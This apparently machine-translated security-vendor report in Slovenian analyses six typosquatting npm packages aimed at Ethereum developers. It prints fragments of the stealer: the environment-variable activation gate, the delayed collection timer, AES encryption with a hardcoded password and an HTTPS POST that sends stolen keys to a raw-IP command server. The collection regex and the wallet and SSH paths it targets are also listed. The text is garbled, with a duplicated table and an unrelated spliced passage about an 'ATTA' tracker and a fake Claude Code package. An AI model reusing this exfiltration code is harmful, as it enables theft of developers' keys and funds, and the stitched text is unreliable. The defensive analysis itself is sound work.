Napad s tipkanjem v EVMDeFi npm krade razvijalske ključe

Napad s tipkanjem v EVM/DeFi npm krade razvijalske ključe

TL; DR

6. maja 2026 je en sam založnik npm, namikazesarada010206je poslal šest zlonamernih paketov, ki so ciljali na razvijalski ekosistem Ethereum, Solidity in DeFi.

Paketi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsin web3-utils-core, so uporabljali verjetna imena, zasnovana tako, da so videti kot pomožne knjižnice za priljubljena orodja Web3.

Vseh šest paketov je vsebovalo isto telemetry.js datoteka. Datoteka je bila bajtno identična v celotnem gruču, z algoritmom SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Zlonamerna programska oprema se ne zažene ob namestitvi. Ni preinstall or postinstall kavelj. Namesto tega se aktivira, ko je paket uvožen prek require().

Ta podrobnost je pomembna.

Vsadek počaka, da razvijalec dejansko uporabi paket. Nato preveri, ali je delovna postaja videti kot pravo razvojno okolje Ethereum/Solidity. Išče ključe Alchemy ali Infura, zasebne ključe, mnemonike, ključe deployerja ali lokalni imenik Foundry.

Če se gostitelj ujema, kradljiva oseba zbere zasebne ključe SSH, shrambe ključev denarnic Foundry / Geth / Brownie, .env* datoteke in občutljive spremenljivke okolja. Paket šifrira z AES-256-GCM z uporabo trdo kodiranega gesla in ga izvleče do surove končne točke IPv4 C2 z onemogočenim preverjanjem TLS.

Xygenijev sistem za zgodnje opozarjanje pred zlonamerno programsko opremo (MEW) je potrdil, da je vseh šest paketov zlonamernih. Paket poročil o odstranitvi registra npm je v teku.

Grozd: Šest paketov, en založnik

Račun založnika namikazesarada010206 je bil povezan z nepreverjenim Gmailovim naslovom namikazesarada010206@gmail.com.

Kampanja se je pojavila kot enodnevni publikacijski izbruh 6. maja 2026. Vseh šest paketov je bilo različic kot 1.0.0, ni imel nobenih odvisnosti od izvajalnega okolja in je dostavil le tri datoteke:

package.json index.js telemetry.js

Prav tako so deklarirali isto izvorno skladišče:

https://github.com/harunosakura030303-maker/evmchain-config

Prve tri pakete so skenerji MEW zaznali ob prvi objavi. Preostali trije so bili vsiljeno označeni po pregledu profila npm založnika s strani analitikov. Ko so bili isti bajtno identični telemetry.js je bilo potrjeno v celotnem grozdu, so bile zaradi doslednosti zaprte kot zlonamerne.

paket različica Objavljeno v npm Vstopnica za MEW Verdict
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Zlonamerne
viem-utils-core 1.0.0 2026-05-06 #51050 Zlonamerne
pripomočki-hardhat-core-utils 1.0.0 2026-05-06 #51051 Zlonamerne
evm-utilities 1.0.0 2026-05-06 #51069 Zlonamerno, zaradi doslednosti
livarski pripomočki 1.0.0 2026-05-06 #51071 Zlonamerno, zaradi doslednosti
web3-utils-core 1.0.0 2026-05-06 #51070 Zlonamerno, zaradi doslednosti

Strategija poimenovanja je preprosta, a učinkovita.

Ti paketi ne poosebljajo natančnih imen, ki so del zgornjega toka. Namesto tega uporabljajo verjetne pripone »utility«, kot je -core, -utilsin -utils-coreZaradi tega so videti kot spremljevalne knjižnice, ki bi jih razvijalec pričakoval v bližini orodij Web3.

Zlonamerni paket Legitimna tarča
viem-core viem, priljubljen odjemalec TypeScript za Ethereum
viem-utils-core Viem
pripomočki-hardhat-core-utils hardhat, prevladujoče razvojno okolje Solidity
evm-utilities Imenski prostor generičnih orodij EVM
livarski pripomočki livarna, orodjarna Solidity
web3-utils-core web3-utils, pomočniki Web3.js

To je vzorec »dodatnega paketa«: ne »Jaz sem pravi paket«, ampak »Videti sem kot razumen pomočnik okoli pravega paketa«.

Za razvijalce DeFi, ki se hitro premikajo, je to dovolj, da ustvari tveganje.

Kaj se zgodi, ko je paket uvožen

Veriga napadov je majhna, premišljena in osredotočena na okolja za razvoj kriptovalut.

Ni namestitvenega kaveljčka. Namesto tega vsak paket vsebuje index.js ki izvozi funkcionalnost zagozditvenih oznak in nato naloži modul za zlonamerno telemetrijo.

require('./telemetry').init();

To pomeni, da se zlonamerna programska oprema aktivira ob prvem uvozu.

To je operativno uporabno za napadalca. Številni skenerji in peskovniki se osredotočajo na vedenje med namestitvijo. Ta paket čaka, da ga dejansko uporabi razvijalec, skript za gradnjo, testni paket ali pot izvajalnega okolja.

Aktivacijska vrata: Sproži samo na pravih delovnih postajah razvijalcev Web3

Najpomembnejši del vsadka so aktivacijska vrata.

Zlonamerna programska oprema preverja spremenljivke okolja, ki jih pogosto najdemo na razvijalskih računalnikih Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Preveri tudi, ali je Foundry nameščen:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Če noben od pogojev ni izpolnjen, funkcija vrne vrednost in ne naredi ničesar.

Zaradi tega je paket v generičnih analitičnih okoljih tišji. Peskovnik brez ključev Foundry, Alchemy, Infura, zasebnih ključev ali mnemonik se lahko zdi neškodljiv.

Na ustreznem gostitelju zlonamerna programska oprema čaka 60 do 90 sekund, preden se zbere:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Zamuda zmanjšuje očitno korelacijo med uvozom in izselitvijo. .unref() Klic omogoča tudi normalen zaključek gostiteljskega procesa, če je bil paket uvožen v kratkotrajnem skriptu.

To ni hrupno vedenje »smash and grab«. Gre za ciljno usmerjenega kradljivca, ki je zasnovan tako, da se izogne ​​izvajanju, razen če je razvojno okolje vredno kraje.

Kaj zbira tat

Ko prehod skozi aktivacijska vrata preide, zlonamerna programska oprema zbira podatke iz virov, ki so najpomembnejši pri razvoju Web3: zasebnih ključev, shramb ključev denarnic, poverilnic za uvajanje, skrivnosti v oblaku, žetonov npm in konfiguracije lokalnega projekta.

LED vir svetlobe Kaj se zbira
process.env Vsaka spremenljivka, ki se ujema z /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Datoteke, ki vsebujejo PRIVATE KEY ali BEGIN OPENSSH, vključno s celotno vsebino datoteke
~/.foundry/keystore/* Datoteke shrambe ključev denarnice Foundry
~/.ethereum/shramba ključev/* Datoteke shrambe ključev denarnice Geth
~/.brownie/računi/* Datoteke shrambe ključev denarnice Brownie
${cwd}/.env Celotna vsebina datoteke
${cwd}/.env.local Celotna vsebina datoteke
${cwd}/.env.production Celotna vsebina datoteke
${cwd}/.env.razvoj Celotna vsebina datoteke
os.imegostitelja() Metapodatki gostitelja
kripto.randomUUID() Identifikator žrtve/seje
Datum.zdaj() Časovni žig zbiranja
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Žetoni ATTA so:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nismo mogli potrditi, ali je bila telemetrija lastna analitika operaterja ali ločeno monetiziran kanal. Žetoni ATTA so v obeh vzorcih, ki smo jih pregledali, enaki.

Skupina B: heibai

claude.hk Lažno predstavljanje OAuth + ugrabitev ANTHROPIC_BASE_URL

Vzorec iz 1. aprila je bolj surov, zgodnejši del kampanje.

heibai:2.1.88-claude.hk-4 je objavil založnik wuguoqiangvip28, račun, ustvarjen 7. junija 2025. Paket se je izrecno sam prilagodil različicam, ki niso legitimne 2.1.88 Antropno sproščanje.

Ne obremenjuje se s CA-cert MITM. Namesto tega uporabniku laže o končni točki OAuth.

Zlonamerni dodatki poleg razkrite izvorne kode Claude Code vključujejo:

LED vir svetlobe Kaj se zbira
process.env Vsaka spremenljivka, ki se ujema z /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Datoteke, ki vsebujejo PRIVATE KEY ali BEGIN OPENSSH, vključno s celotno vsebino datoteke
~/.foundry/keystore/* Datoteke shrambe ključev denarnice Foundry
~/.ethereum/shramba ključev/* Datoteke shrambe ključev denarnice Geth
~/.brownie/računi/* Datoteke shrambe ključev denarnice Brownie
${cwd}/.env Celotna vsebina datoteke
${cwd}/.env.local Celotna vsebina datoteke
${cwd}/.env.production Celotna vsebina datoteke
${cwd}/.env.razvoj Celotna vsebina datoteke
os.imegostitelja() Metapodatki gostitelja
kripto.randomUUID() Identifikator žrtve/seje
Datum.zdaj() Časovni žig zbiranja

Seznam ciljev je zelo specifičen. Ne gre za splošno krajo brskalnika ali splošno strganje poverilnic. Namenjen je razvijalcem, ki gradijo, testirajo, uvajajo ali upravljajo aplikacije Ethereum.

Vključitev shramb ključev Foundry, Geth in Brownie je še posebej pomembna. Te datoteke lahko predstavljajo neposreden dostop do denarnic ali identitet uvajanja. Če jih napadalec lahko poveže z gesli, mnemoniki ali skrivnostmi okolja, lahko premika sredstva, se izdaja za uvajalce ali ogroža delovanje pametnih pogodb.

Šifriranje pred izkrcanjem

Zlonamerna programska oprema šifrira zbrane podatke, preden jih pošlje.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Trdno kodirano geslo je:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Končni koristni tovor je zavit v JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Šifriranje samo po sebi ne naredi zlonamerne programske opreme naprednejše. Vendar pa otežuje pregled omrežja. Branilec, ki opazuje izhod, bi videl koristni tovor JSON, ne pa ukradenih ključev, datotek denarnice ali .env vsebino brez trdo kodiranega gesla in logike dešifriranja.

Izločitev v surovi IPv4 C2

Pot izselitve je trdo kodirana:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Zlonamerna programska oprema pošilja podatke na:

https://76.13.37.80:8443/api/v1/telemetry

Izstopata dve podrobnosti.

Prvič, C2 je surov IPv4 naslov in ne domena. To odpravlja potrebo po registraciji domene in preprečuje nekatera zaznavanja na podlagi domene.

Drugič, preverjanje TLS je onemogočeno z:

rejectUnauthorized: false

To omogoča zlonamerni programski opremi, da sprejme katero koli potrdilo, vključno s samopodpisanimi potrdili. Z drugimi besedami, napadalec dobi šifriran prenos podatkov, ne da bi potreboval veljavno javno potrdilo.

Ni logike ponovnega poskusa in ni rezervnega gostitelja. Napake se tiho pogoltnejo. To ohranja paket tih, če je C2 brez povezave ali nedosegljiv.

Zakaj je ta kampanja pomembna

Večina zlonamernih npm paketov, namenjenih razvijalcem, lovi široke poverilnice: žetone npm, ključe AWS, žetone GitHub ali .npmrc datotek.

Ta kampanja zožuje cilj.

Išče znake, da naprava pripada razvijalcu Ethereuma ali Solidityja. Nato potegne natančno tista sredstva, ki so pomembna v tem okolju: shrambe ključev denarnice, zasebne ključe, mnemonike, ključe uvajalca, .env datoteke in SSH ključe.

Zaradi tega je kampanja za ekipe Web3 bolj nevarna kot generični kradljivec npm-ov.

Uspešna okužba lahko razkrije:

  • Denarnice za uvajanje
  • Skrbniški ključi pametnih pogodb
  • Ključi ponudnika RPC
  • Poverilnice za uvajanje v oblak
  • žetoni za objavljanje npm
  • Dostop do razvijalske ali gradbene infrastrukture prek SSH
  • Skrivnosti projekta shranjene v .env datoteke
  • Shrambe ključev denarnice za Foundry, Geth ali Brownie

Imena paketov prav tako kažejo na jasen socialni inženiring. Ciljajo na ekosistem razvijalcev Web3 prek znanih imen orodij: viem, hardhat, foundry, evmin web3.

Igralcu ni treba ogroziti resničnih projektov. Potrebuje le razvijalca, ki namesti nekaj, kar je videti kot razumen spremljevalni paket.

Kazalniki kompromitacije in odkrivanja

Paketi in založnik
Polje Vrednost
založnik npm namikazesarada010206
E-poštni naslov založnika namikazesarada010206@gmail.com
E-pošta preverjena Ne
SCM preverjeno Ne
Ocena ugleda 1.0
Paketi viem-core, viem-utils-core, hardhat-core-utils, evm-utils, funry-utils, web3-utils-core
različice Vse 1.0.0
Izvorno skladišče https://github.com/harunosakura030303-maker/evmchain-config
Potrjeno zlonamerno Vseh šest paketov
mreža
tip Vrednost
Končna točka C2 https://76.13.37.80:8443/api/v1/telemetry
IP C2 76.13.37.80
Pristanišče C2 8443/tcp
Obnašanje TLS-a zavrnitevNepooblaščeno: napačno
Shema koristnega tovora {"v":2,"iv": ,"d": ,"t": }
Datoteke in zgoščene vrednosti
tip Vrednost
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Postavitev paketa package.json, index.js, telemetry.js
Število datotek 3
Približna skupna velikost 3.4 KB

Aktivacijski signali

Zlonamerna programska oprema preverja te spremenljivke okolja:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Preverja tudi:

~/.foundry/

Ciljne poti gostiteljev

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Zbirka regularnih izrazov

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Opombe o zaznavanju

To kampanjo zajema več pravil, ne da bi bila potrebna popolna vedenjska analiza.

Najprej preglejte datoteke zaklepanja za šest imen zlonamernih paketov:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Vsaka tekma v package-lock.json, yarn.lock, pnpm-lock.yamlali node_modules Zgodovino je treba obravnavati kot resen dogodek.

Drugič, spremljajte procese Node.js, ki berejo poti shrambe ključev denarnice:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

To je redko legitimno vedenje za paket, uvožen kot pomožna odvisnost. Še posebej sumljivo je, če mu sledi odhodna omrežna aktivnost.

Tretjič, blokirajte ali opozorite na povezave HTTPS:

76.13.37.80:8443

Še posebej, če je pot zahteve:

/api/v1/telemetry

Četrtič, poiščite npm pakete, ki združujejo te lastnosti:

  • Nov ali slabo ugleden založnik
  • Nepreverjen Gmail račun
  • Ime paketa, ki je sosednji Web3
  • Ni smiselne zgodovine repozitorija
  • Postavitev drobnega paketa
  • index.js ki naloži telemetrijo ali pomožno datoteko
  • Brez odvisnosti od izvajalnega okolja
  • Zbirka občutljivih okoljskih spremenljivk
  • Dostop do shrambe ključev denarnice

Ta vzorec je bolj uporaben kot en sam IOC, ker lahko naslednji paket spremeni IP-naslov, vendar ohrani isto logiko ciljanja.

Kontrolni seznam za odziv na kompromis

Če je razvijalec uporabil enega od šestih paketov in se je njegovo okolje ujemalo z aktivacijskimi vrati, delovno postajo obravnavajte kot ogroženo.

To vključuje stroje z nameščenim Foundryjem, ključi Alchemy ali Infura v okolju, zasebnimi ključi, mnemoniki ali ključi za uvajanje.

Priporočen odgovor:

  • Odklopite gostitelja iz omrežja.
  • Ohrani node_modules, datoteke zaklepanja, zgodovina lupine in ustrezni dnevniki za forenziko.
  • Zamenjajte vsak par ključev SSH pod ~/.ssh/.
  • Zamenjajte ključe denarnice za vsako shrambo ključev pod ~/.foundry, ~/.ethereumin ~/.brownie.
  • Prenesite sredstva v nove denarnice.
  • Zavrtite vsako skrivnost, shranjeno v .env* datoteke v repozitorijih, v katerih je delal razvijalec.
  • Zamenjajte skrivnosti okolja, ki se ujemajo z regularnim izrazom zbirke, vključno s ključi AWS, žetoni npm, žetoni za uvajanje, ključi API, zasebnimi ključi, semeni in mnemoniki.
  • Spremljajte aktivnosti v oblaku, NPM-ju, GitHubu, ponudniku RPC in verigi blokov od prve namestitve paketa.
  • Pred ponovno uporabo ponovno ustvarite sliko delovne postaje.

Kaj bi si morali branilci odnesti s seboj

Ta kampanja prikazuje, kako se tipografsko odvzemanje pravic uporabnikov v NPM razvija okoli ekosistemov visokovrednih razvijalcev.

Igralec ni potreboval vztrajnosti. Niso potrebovali zakrivanja. Niti izvajanja med namestitvijo niso potrebovali.

Namesto tega so se zanašali na tri stvari:

  • Verjetna imena paketov Web3
  • Aktivacija samo na pravih strojih za razvoj kriptovalut
  • Neposredna kraja datotek in skrivnosti, ki so razvijalcem Ethereuma najpomembnejše

Zaradi tega je kampanjo pri širokem pregledu enostavno spregledati in je nevarna, ko pristane v pravem okolju.

Za ekipe Web3 je lekcija jasna: imena odvisnosti obravnavajte kot del svojega modela groženj. Paket, ki je videti kot neškodljiv pomočnik, lahko še vedno postane najkrajša pot do vdora v denarnico.

Poročano v register npm. To objavo bomo posodobili, ko bodo račun založnika in paketi odstranjeni.

orodja-za-analizo-sestave-programske-programske-orodja-sca
Določite prednostne naloge, odpravite in zavarujte tveganja programske opreme
Pridobite svoj brezplačni račun.
Ni potrebna kreditna kartica.

Zagotovite si razvoj in dostavo programske opreme

z Xygeni Product Suite